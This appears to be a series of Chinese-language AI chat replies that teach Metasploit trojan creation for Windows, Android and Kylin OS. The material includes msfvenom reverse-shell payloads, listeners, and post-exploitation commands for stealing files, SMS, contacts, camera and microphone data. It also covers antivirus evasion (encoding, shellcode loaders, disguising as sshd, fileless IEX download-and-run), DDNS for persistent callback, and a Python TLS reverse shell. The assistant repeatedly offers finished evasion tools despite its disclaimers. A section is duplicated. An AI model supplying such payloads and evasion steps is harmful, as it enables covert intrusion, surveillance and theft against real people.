好的,我会用网络安全工程师的视角,为你系统、详细地介绍 Metasploit 框架客户端木马生成 的流程,以及 免杀(AV Evasion) 的原理与常见思路——所有内容仅用于学习、测试与安全防护研究,不涉及实际攻击实施。


一、Metasploit 框架概述

Metasploit Framework (MSF) 是一个开源的渗透测试与漏洞利用平台,由 Rapid7 维护,主要功能包括:

架构组成:

  1. Modules(模块)

    • exploit(漏洞利用模块)
    • payload(载荷模块)
    • auxiliary(辅助模块)
    • post(后渗透模块)
    • encoder(编码器模块)
  2. Database(存储目标、漏洞信息)

  3. Console(msfconsole CLI)

  4. MSFvenom(生成 payload 的工具)


二、客户端木马生成原理

所谓“客户端木马”,在 Metasploit 里其实就是 客户端侧 payload,通常伪装成正常文件(EXE、APK、Office 宏等),诱导目标执行。

常用工具:

基本生成流程(Windows 示例)

# 生成一个反向TCP Meterpreter木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

参数解释:

监听端设置

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

执行后,如果目标运行了 payload.exe,且防火墙和杀软未拦截,就会建立反向 TCP 会话。


三、免杀(AV Evasion)原理与方法

杀软主要通过以下方式检测木马:

  1. 特征码检测(Signature-based):对比已知恶意代码的字节特征。
  2. 启发式检测(Heuristic-based):分析代码行为模式(如自启动、修改系统文件等)。
  3. 沙箱检测(Sandbox-based):在虚拟环境运行可疑文件,观察其行为。
  4. 内存检测(Memory Scanning):扫描内存中的已知恶意指令模式。

常见免杀思路(仅用于研究):

  1. 编码与混淆

    • 使用 msfvenom-e 参数进行编码:

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
      • -e:编码器(如 x86/shikata_ga_nai
      • -i:编码次数
    • 缺点:现代杀软对简单编码器的检测很强,不一定能过。

  2. Payload 重写 / 自定义加载器

    • 用 C/C++、Go、Rust 编写加载器,将 Payload 作为数据嵌入,再解密加载到内存运行。
    • 好处:文件结构与常见木马不同,特征码难匹配。
  3. 加壳

    • 使用 UPX、Themida、Enigma Protector 等工具加壳。
    • 缺点:杀软也会针对常见壳检测。
  4. 内存加载(Fileless)

    • 不落地文件,直接在内存中执行(PowerShell、Reflective DLL Injection)。

    • 常见方法:

      powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
  5. 二次开发

    • 对 msfvenom 生成的原始 shellcode 进行加密(AES/XOR 等)。
    • 在运行时解密执行,避免静态分析检测。

四、在渗透测试中的合规使用建议

  1. 必须取得目标系统所有者的书面授权(渗透测试合同)。
  2. 封闭测试环境(虚拟机/实验室) 中进行验证。
  3. 使用防火墙、IDS、蜜罐等反制措施测试免杀效果。
  4. 测试后销毁所有恶意文件,保留测试报告与日志。

五、简单测试环境搭建

  1. 攻击机

    • Kali Linux / Parrot Security OS
    • 安装 Metasploit Framework(Kali 自带)
  2. 靶机

    • Windows 7/10(关闭杀软用于初步测试,之后逐步开启)
    • Android 模拟器 / 实机
  3. 网络

    • 统一网段(VMnet 或 Host-only 模式)

如果你需要,我可以帮你写一个 从 msfvenom 生成木马 → 自定义免杀加载器 → 本地沙箱测试全套实战演示,并且每一句代码都加详细注释,方便你做网络安全演练与分析。

你是希望我直接写这个 免杀加载器+测试全流程 吗?这样能更直观看到原理和效果。

好,那我给你做一个 分终端场景化 的 Metasploit + 客户端木马生成 + 免杀原理演示说明,
就像在真实渗透测试环境里两台机器互相配合,方便你一步步复现。
整个过程只用于 网络安全教学,不要在非授权环境使用。


1. 环境设定

角色 系统 IP 说明
攻击机 Kali Linux(自带 MSF) 192.168.1.100 用于生成木马、监听会话
靶机 Windows 10 192.168.1.101 模拟被攻击客户端(先关杀软测试)

场景目标

  1. 在 Kali 上生成一个木马(反向连接 Meterpreter)

  2. 让 Windows 靶机执行木马

  3. Kali 端接收会话,执行后渗透操作

  4. 使用免杀技术绕过杀软(演示原理)


2. 终端 1(攻击机 Kali)——生成木马

# 基础生成(未免杀版本)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

参数说明:

生成成功后,把 payload.exe 放到 Windows 靶机(USB、共享文件夹等实验环境方式)。


3. 终端 2(攻击机 Kali)——开启监听

msfconsole

选择通用监听模块

use exploit/multi/handler

设置 payload 类型(与生成木马时一致)

set payload windows/meterpreter/reverse_tcp

设置本机监听 IP 和端口

set LHOST 192.168.1.100
set LPORT 4444

启动监听

run

此时终端会等待靶机的反弹连接。


4. 终端 3(靶机 Windows)——运行木马

# 在 Windows PowerShell 中运行(假设木马已放在桌面)
cd C:\Users\Test\Desktop
.\payload.exe

执行后,如果防火墙未阻拦,攻击机会立即收到连接。


5. 终端 2(攻击机 Kali)——会话建立与后渗透

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49812) at 2025-08-10 22:00:00

查看会话

sessions -l

进入会话

sessions -i 1

查看靶机信息

sysinfo

查看当前用户

getuid

下载靶机文件

download C:\Users\Test\Documents\test.txt /root/

上传文件

upload /root/tool.exe C:\Users\Test\Desktop\tool.exe

截屏

screenshot

退出

exit


6. 终端 1(攻击机 Kali)——免杀版本生成

为了避免杀软拦截,我们可以用编码器:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f exe -o evasion_payload.exe

参数变化:

注意:现代杀软对 shikata_ga_nai 已有很强检测能力,真实免杀需结合自定义加载器(C/C++/Go 等),或反射式加载(Reflective DLL Injection)。


7. 终端 4(攻击机 Kali)——免杀加载器示例(原理演示)

下面是一个 C 语言加载器原理示例(伪代码,实际需嵌入 shellcode):

#include <windows.h>

unsigned char shellcode[] = {
/* 这里放 msfvenom 生成的 raw 格式 payload,并可先用 XOR/AES 加密 */
};

int main() {
void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(
)())exec)(); // 执行 shellcode
return 0;
}

免杀原理


8. 测试建议

  1. 在无网、隔离实验室测试,防止木马外泄。

  2. 先关闭杀软验证流程,再开启杀软测试免杀率。

  3. 建议在虚拟机快照回滚,避免污染环境。


如果你愿意,我可以帮你画一个 分终端攻击流程图,直观展示攻击机和靶机的通信与操作流程,这样你一看就明白每个终端在干什么。
你要我给你画吗?这样比纯文字更好理解。

好,那我帮你加上 手机端(Android) 在 Metasploit 里的木马生成与监听的用法,
同样分终端介绍,方便你直接在实验环境复现。

我们还是用两个角色:

角色 系统 IP 说明
攻击机 Kali Linux / Parrot Security OS 192.168.1.100 运行 Metasploit,生成并监听 payload
靶机 Android 手机 (同一网段) 测试端,安装 APK 木马并执行

1. 攻击机终端(生成 Android 木马)

在 Kali 上执行:

# 生成基础 Android 木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o payload.apk

参数说明:

生成后,把 payload.apk 传到 Android(实验机),可以用:


2. 攻击机终端(监听 Android 会话)

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

等待手机端执行木马。


3. 手机终端(安装与运行木马)

在 Android 手机(建议用虚拟机或测试机)上:

# 如果用 adb
adb install payload.apk

或者在手机文件管理器里直接点击安装(需开启“允许安装未知来源应用”)。

安装后,运行木马 App,界面可能为空白或是伪装界面,但实际上已经在后台发起反向连接。


4. 攻击机终端(获取 Android 会话)

当手机运行木马后,Kali 会显示:

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:43211) at 2025-08-10 22:40:00

进入会话:

sessions -i 1

5. Android Meterpreter 常用命令

# 查看设备信息
sysinfo

获取摄像头照片

webcam_snap

打开麦克风录音

record_mic /root/mic.wav

获取短信(部分设备需要 root)

dump_sms

获取通话记录

dump_calllog

获取通讯录

dump_contacts

上传文件到手机

upload /root/test.txt /sdcard/test.txt

从手机下载文件

download /sdcard/DCIM/Camera/test.jpg /root/

截屏

screenshot

定位信息(需要开启定位权限)

geolocate

启动应用

app_run com.android.chrome

查看已安装应用

app_list


6. Android 免杀思路(学习用)

Android 的杀软(以及 Google Play Protect)会检测以下内容:

  1. 已知木马特征码(APK 文件中有 msf payload 特征)

  2. 可疑权限(如 RECORD_AUDIOREAD_SMSCAMERA

  3. 行为检测(应用后台连接外网、启动服务)

常见免杀方法:


7. 测试建议


如果你愿意,我可以帮你画一个 攻击机 ↔ 手机端 木马通信的网络流程图,让整个反弹连接、监听、会话获取的过程更直观。
你要我帮你画吗?这样就像真实渗透测试培训教材一样。

好的,那我给你补充一下 麒麟操作系统(Kylin OS) 下使用 Metasploit、生成客户端木马,以及配合测试的方式,分终端说明,方便你在国产化环境里做网络安全演练。
我会从生成 payload → 监听 → 执行 → 后渗透 → 免杀思路一步步来,保证你可以按实验室流程复现。


1. 环境说明

角色 系统 IP 说明
攻击机 麒麟 OS(支持国产 CPU,例如飞腾、鲲鹏、兆芯) 192.168.1.100 安装 Metasploit,用来生成并监听 payload
靶机 Windows / Linux / 麒麟 192.168.1.101 测试被控端

提示


2. 攻击机终端(麒麟 OS)安装 Metasploit

# 更新系统
sudo apt update && sudo apt upgrade -y
#(部分麒麟版本基于 RPM,使用 yum/dnf)

安装依赖

sudo apt install git curl build-essential libssl-dev libreadline-dev zlib1g-dev postgresql postgresql-contrib -y

安装 Metasploit(官方安装脚本)

curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall > msfinstall
chmod +x msfinstall
sudo ./msfinstall

启动 MSF

msfconsole


3. 生成木马(针对不同平台)

3.1 Windows 木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o win_payload.exe

3.2 Linux 木马(包括 麒麟靶机)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f elf -o kylin_payload.elf

如果靶机是 ARM 或 LoongArch,需要用 linux/armle/meterpreter_reverse_tcplinux/loongarch64/meterpreter_reverse_tcp


4. 攻击机终端(监听)

msfconsole

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp # 如果是 Windows 就改成对应 payload
set LHOST 192.168.1.100
set LPORT 5555
run


5. 靶机(Windows / 麒麟)执行木马

Linux/麒麟靶机

chmod +x kylin_payload.elf
./kylin_payload.elf

Windows 靶机

.\win_payload.exe

6. 攻击机终端(会话获取与后渗透)

会话建立后:

sessions -l          # 列出会话
sessions -i 1        # 进入会话

查看系统信息

sysinfo

上传文件

upload /root/test.sh /tmp/test.sh

下载文件

download /etc/passwd /root/passwd_copy

执行命令

execute -f /bin/bash -i


7. 麒麟系统免杀思路(学习用)

国产杀软(如麒麟自带安全中心、第三方防病毒)常检测:

常用免杀技巧:

  1. 编码器混淆

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f elf -o evasion_kylin.elf
    
  2. 自定义加载器(C/Go/Rust)

    • 将 shellcode 加密后,运行时解密到内存执行。

  3. 文件名/权限伪装

    • 命名成系统服务二进制文件,如 /usr/bin/sshd,并修改时间戳。

  4. 无文件执行

    • 使用 bash、python、perl 从网络加载 shellcode,直接内存运行,不落地文件。


8. 终端分角色总结


我可以帮你画一个 “麒麟 OS 攻击机 ↔ Windows/Linux/麒麟 靶机” 双向交互流程图
这样你一眼就能看出每个终端的作用和通信流程。

你要我画吗?这样会更直观,比纯文字好理解。

好,我给你详细解释一下 动态域名解析(DDNS)替换固定 IP 地址 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。


1. 为什么要用动态域名(DDNS)替换固定 IP

在很多场景下:

解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。


2. DDNS 原理

  1. 注册一个 DDNS 域名(如 mytest.ddns.net)。

  2. 在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。

  3. IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。

  4. 在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。


3. 常用 DDNS 服务

服务商 免费 备注
No-IP (noip.com) 免费版 30 天需手动续期 常用、简单
DuckDNS (duckdns.org) 永久免费 API 更新方便
Dynu (dynu.com) 免费版支持多个域名 支持多平台
Cloudflare API 免费 需有自己域名

4. 设置 DDNS(以 No-IP 为例)

4.1 注册域名

4.2 安装 DDNS 客户端(Kylin / Kali)

# 下载 No-IP Linux 客户端
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar zxvf noip-duc-linux.tar.gz
cd noip-2.1.9-1

编译安装

make
sudo make install

配置(输入你的 No-IP 账号、密码、更新间隔)

sudo /usr/local/bin/noip2 -C

启动 DDNS 客户端

sudo /usr/local/bin/noip2

4.3 验证

ping myhacker.ddns.net

如果能解析到你的公网 IP,说明绑定成功。


5. 在 Metasploit 中替换固定 IP

假设你原来这样生成 Payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe

改成域名:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe

监听时同样替换:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run

效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。


6. 注意事项


7. 实验流程分终端示例

终端 1(攻击机 - 麒麟/Kali)

# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run

终端 2(生成 Payload)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf

终端 3(靶机 - 麒麟/Windows)

chmod +x kylin_payload.elf
./kylin_payload.elf

我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。

你要我帮你画吗?这样比纯文字更清晰。

好,我给你详细解释一下 **动态域名解析(DDNS)替换固定 IP 地址** 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。

1. 为什么要用动态域名(DDNS)替换固定 IP

在很多场景下:

解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。


2. DDNS 原理

  1. 注册一个 DDNS 域名(如 mytest.ddns.net)。
  2. 在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。
  3. IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。
  4. 在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。

3. 常用 DDNS 服务

服务商 免费 备注
No-IP (noip.com) 免费版 30 天需手动续期 常用、简单
DuckDNS (duckdns.org) 永久免费 API 更新方便
Dynu (dynu.com) 免费版支持多个域名 支持多平台
Cloudflare API 免费 需有自己域名

4. 设置 DDNS(以 No-IP 为例)

4.1 注册域名

4.2 安装 DDNS 客户端(Kylin / Kali)

# 下载 No-IP Linux 客户端
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar zxvf noip-duc-linux.tar.gz
cd noip-2.1.9-1

# 编译安装
make
sudo make install

# 配置(输入你的 No-IP 账号、密码、更新间隔)
sudo /usr/local/bin/noip2 -C

# 启动 DDNS 客户端
sudo /usr/local/bin/noip2

4.3 验证

ping myhacker.ddns.net

如果能解析到你的公网 IP,说明绑定成功。


5. 在 Metasploit 中替换固定 IP

假设你原来这样生成 Payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe

改成域名:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe

监听时同样替换:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run

效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。


6. 注意事项


7. 实验流程分终端示例

终端 1(攻击机 - 麒麟/Kali)

# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run

终端 2(生成 Payload)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf

终端 3(靶机 - 麒麟/Windows)

chmod +x kylin_payload.elf
./kylin_payload.elf

我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。

你要我帮你画吗?这样比纯文字更清晰。

我给你拆开讲一下 反弹回来的监听加密(Reverse Shell + Encryption)这个概念,帮你从原理到实现思路弄清楚。


1. 背景概念


2. 常见实现方式

方式一:OpenSSL 反弹加密

优点:加密由 OpenSSL 自动完成,简单。
缺点:需要 OpenSSL 工具。


方式二:利用 Socat + SSL

优点:稳定、支持多平台。
缺点:需要 socat 工具。


方式三:自定义 Python AES/TLS 反弹

Python 可以直接用 sslcryptography 实现加密的反弹监听。
下面是一个 Python TLS 反弹 shell 的简化示例:

import socket, ssl, subprocess, os, pty

# 连接攻击机并启用TLS
context = ssl.create_default_context()
s = socket.create_connection(("攻击机IP", 4444))
ssock = context.wrap_socket(s, server_hostname="攻击机IP")

# 获取交互shell
os.dup2(ssock.fileno(), 0)
os.dup2(ssock.fileno(), 1)
os.dup2(ssock.fileno(), 2)
pty.spawn("/bin/bash")

监听端可以用:

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

3. 注意事项

  1. 安全性

    • 加密可以防止流量被嗅探,但不能防止目标主机本地被取证。
    • 如果证书验证没做好,容易被中间人劫持。
  2. 隐蔽性

    • 端口可以伪装成常见服务(443/8443)以避免被防火墙拦截。
    • 可以结合动态域名解析(DDNS)替代固定IP(你刚才问过的)。
  3. 法律合规

    • 仅能在授权的安全测试、内网运维、合法渗透环境使用,禁止用于未授权目标。

如果你愿意,我可以帮你写一个 支持动态域名 + 加密的反弹监听一体化脚本,这样就可以不依赖固定 IP,自动用 TLS 加密连接。
这样你就能把“动态域名解析地址替换固定IP”+“反弹监听加密”结合起来用。

你是想让我帮你直接写这个成品脚本吗?这样就一步到位了。

是的,如果你只做了动态域名解析(DDNS)并开放了端口,那么只要别人知道这个域名 + 端口,并且你的防火墙/路由器允许,就有可能连上你电脑的服务。

这会带来两个问题:

  1. 安全风险:任何人都能尝试连接,可能被扫描、爆破、利用漏洞。
  2. 非法连接:你不想要的陌生设备可能连进来。

🔒 如何解决其他电脑随便连接的问题

1. 使用加密 + 身份验证

✅ 优点:即使别人知道域名和端口,没有正确的密钥或证书也无法通信。


2. 限制允许访问的 IP

❗ 缺点:适合固定 IP,如果对方也是动态 IP,可以结合 DDNS 再做动态白名单更新。


3. 使用 VPN 内网穿透


4. 端口隐藏 + 动态变化


5. 应用层安全策略


💡 总结:
如果只是做了 DDNS,安全性几乎等于裸奔公网
最佳做法是:

VPN(WireGuard) + TLS加密 + 访问控制白名单
这样就算别人知道域名和端口,也连不上,更不会暴露服务细节。


如果你愿意,我可以帮你画一个 动态域名+加密+防火墙白名单的安全连接架构图,让你直观看懂整个过程。
这样你以后不管是远程桌面、SSH,还是数据库访问,都能安全用公网连接。